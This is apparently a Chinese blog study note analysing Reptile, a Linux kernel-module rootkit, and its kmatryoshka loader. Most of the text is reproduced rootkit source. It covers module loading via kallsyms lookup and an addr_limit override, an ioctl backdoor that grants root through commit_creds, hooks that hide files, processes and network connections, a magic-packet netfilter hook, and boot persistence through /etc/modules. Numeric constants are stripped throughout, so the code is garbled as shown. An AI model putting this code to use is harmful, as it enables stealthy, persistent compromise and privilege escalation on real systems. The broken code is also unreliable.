LKM rootkit:Reptile学习
简介
Reptile是github上一个很火的linux lkm rootkit,最近学习了一些linux rootkit的内容,在这里记录一下。
主要是分析reptile的实现
Reptile的使用
安装命令:
sudo ./setup.sh install
然后执行下面的命令
/reptile/reptile_cmd show
接着就可以看到/reptile目录下的一些东西了,这是项目安装在系统中的一些文件,在安装完成后,默认是隐藏的。具体的执行命令就不再这里赘述了
会出现下面这些程序
Reptile原理分析
Reptile使用了两个其他的项目
1、khook:一个内核钩子框架,具体分析可以看这里https://www.cnblogs.com/likaiming/p/10970543.html
2、kmatryoshka:一个动态的模块加载器
这里先分析一下kmatryoshka的实现
kmatryoshka
parasite_loader/main.c中的init_module函数是入口函数。encrypt目录下代表的都是加密相关部分。
整个loader是作为一个模块插入到内核中去的,这个模块的功能是加载用户空间的模块,使用的就是init_module函数的系统调用处理函数sys_init_module,它是一个导出函数,通过查找kallsyms得到该函数的地址,就可以使用。
首先看寻找sys_init_module的实现,使用的是kallsyms_on_each_symbol函数,传入一个寻找函数就可以从找到符号地址,实现使用的就是下面这两个函数,在data[0]放入要寻找的内容,data[1]放入结果。
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, unsigned long addr)
{
int i = ; while (!module && (((const char *)data[]))[i] == name[i]) {
if (!name[i++]) return !!(data[] = addr);
} return ;
} static inline unsigned long ksym_lookup_name(const char *name)
{
unsigned long data[] = { (unsigned long)name, };
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);
return data[];
}
然后在init_module函数中这样调用
sys_init_module = (void *)ksym_lookup_name("sys_init_module");
再获取到符号地址后,在传入parasite_blob,也就是目的模块的地址时,还需要thread_info结构中的addr_limit,这个是表示用户地址空间地址的最大值,在init_module函数中,会对地址做校验,使用的就是addr_limit,这里就会修改一下这个值,保证地址检查通过。
if (sys_init_module) {
const char *nullarg = parasite_blob;
unsigned long seg = user_addr_max(); while (*nullarg) nullarg++; user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE);
sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg);
user_addr_max() = seg;
}
Reptile
回到Reptile,主目录下,parasite_loader就是上面讲到的项目,khook就是内核钩子的框架,sbin是用户态的一些程序,reptile_cmd等这些程序都使通过sbin下面的程序编译出来的,script下面的脚本是生成的一些脚本存放目录,下面的内容在安装完成后自动删除了。loader下面的程序也比较简单,主要的逻辑写在rep_mod中,下面主要说一下这个文件中各个函数的功能
主函数,khook_init用来初始化khook,magic_packet_hook_options则是netlink钩子,START在setup脚本中被设置成reptile_start,
static int __init reptile_init(void)
{
int ret;
char *argv[] = {START, NULL, NULL}; //创建工作线程
work_queue = create_workqueue(WORKQUEUE); ret = khook_init(); if (ret != )
goto out; magic_packet_hook_options.hook = (void *)magic_packet_hook;
magic_packet_hook_options.hooknum = ;
magic_packet_hook_options.pf = PF_INET;
magic_packet_hook_options.priority = NF_IP_PRI_FIRST; #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 13, 0)
nf_register_net_hook(&init_net, &magic_packet_hook_options);
#else
nf_register_hook(&magic_packet_hook_options);
#endif exec(argv);
hide();
out:
return ret;
}
netlink钩子
KHOOK_EXT(int, inet_ioctl, struct socket *, unsigned int, unsigned long);
static int khook_inet_ioctl(struct socket *sock, unsigned int cmd,
unsigned long arg)
{
int ret = ;
unsigned int pid;
struct control args;
struct sockaddr_in addr;
struct hidden_conn *hc; if (cmd == AUTH && arg == HTUA) {
if (control_flag) {
control_flag = ;
} else {
control_flag = ;
} goto out;
} if (control_flag && cmd == AUTH) {
if (copy_from_user(&args, (void *)arg, sizeof(args)))
goto out; switch (args.cmd) {
//0则更改隐藏或是显示
case :
if (hide_module) {
show();
hidden = ;
} else {
hide();
hidden = ;
}
break;
case ://根据pid设置进程的可见性
if (copy_from_user(&pid, args.argv, sizeof(unsigned int)))
goto out; if (is_invisible(pid))
flag_tasks(pid, );
else
flag_tasks(pid, ); break;
case :
if (file_tampering)
file_tampering = ;
else
file_tampering = ;
break;
case ://提权
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
current->uid = ;
current->suid = ;
current->euid = ;
current->gid = ;
current->egid = ;
current->fsuid = ;
current->fsgid = ;
cap_set_full(current->cap_effective);
cap_set_full(current->cap_inheritable);
cap_set_full(current->cap_permitted);
#else
commit_creds(prepare_kernel_cred());
#endif
break;
case ://增加隐藏tcp端口
if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
goto out; hc = kmalloc(sizeof(*hc), GFP_KERNEL); if (!hc)
goto out; hc->addr = addr; list_add(&hc->list, &hidden_tcp_conn);
break;
case ://删除隐藏tcp端口
if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
goto out; list_for_each_entry(hc, &hidden_tcp_conn, list)
{
if (addr.sin_port == hc->addr.sin_port &&
addr.sin_addr.s_addr ==
hc->addr.sin_addr.s_addr) {
list_del(&hc->list);
kfree(hc);
break;
}
}
break;
case ://增加隐藏tcp端口
if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
goto out; hc = kmalloc(sizeof(*hc), GFP_KERNEL); if (!hc)
goto out; hc->addr = addr; list_add(&hc->list, &hidden_udp_conn);
break;
case ://删除隐藏tcp端口
if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
goto out; list_for_each_entry(hc, &hidden_udp_conn, list)
{
if (addr.sin_port == hc->addr.sin_port &&
addr.sin_addr.s_addr ==
hc->addr.sin_addr.s_addr) {
list_del(&hc->list);
kfree(hc);
break;
}
}
break;
default:
goto origin;
} goto out;
} origin:
ret = KHOOK_ORIGIN(inet_ioctl, sock, cmd, arg);
out:
return ret;
}
KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_fillonedir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = ;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type);
return ret;
} KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_filldir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = ;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type);
return ret;
} KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_filldir64(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = ;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type);
return ret;
} KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_compat_fillonedir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = ;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type);
return ret;
} KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_compat_filldir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = ;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type);
return ret;
} #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 12, 0)
KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int);
static int khook_compat_filldir64(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = ;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type);
return ret;
}
#endif #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 9, 0)
KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *);
struct dentry *khook___d_lookup(const struct dentry *parent, const struct qstr *name)
#else
KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *);
struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name)
#endif
{
struct dentry *found = NULL;
if (!strstr(name->name, HIDE) || !hidden)
found = KHOOK_ORIGIN(__d_lookup, parent, name);
return found;
} KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter);
static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_iter iter)
{
if (hidden) {
while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) {
if (!(iter.task->flags & FLAG))
break; iter.tgid++;
}
} else {
iter = KHOOK_ORIGIN(next_tgid, ns, iter);
}
return iter;
}
驻留
setup脚本中,有让模块在启动时被加载的设置
if [ "$SYSTEM" == "debian" ] || [ "$SYSTEM" == "ubuntu" ]; then
echo -ne "#<$TAG>\n$MODULE\n#</$TAG>" >> /etc/modules || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; }
elif [ "$SYSTEM" == "redhat" ] || [ "$SYSTEM" == "centos" ] || [ "$SYSTEM" == "fedora" ]; then
echo -ne "#<$TAG>\nmodprobe $MODULE\n#</$TAG>" >> /etc/rc.modules && \
chmod +x /etc/rc.modules || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; }
#elif [ "$SYSTEM" == "arch" ]; then
# echo -ne "#<$TAG>\n$MODULE\n#</$TAG>" >> /etc/modules || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; }
fi
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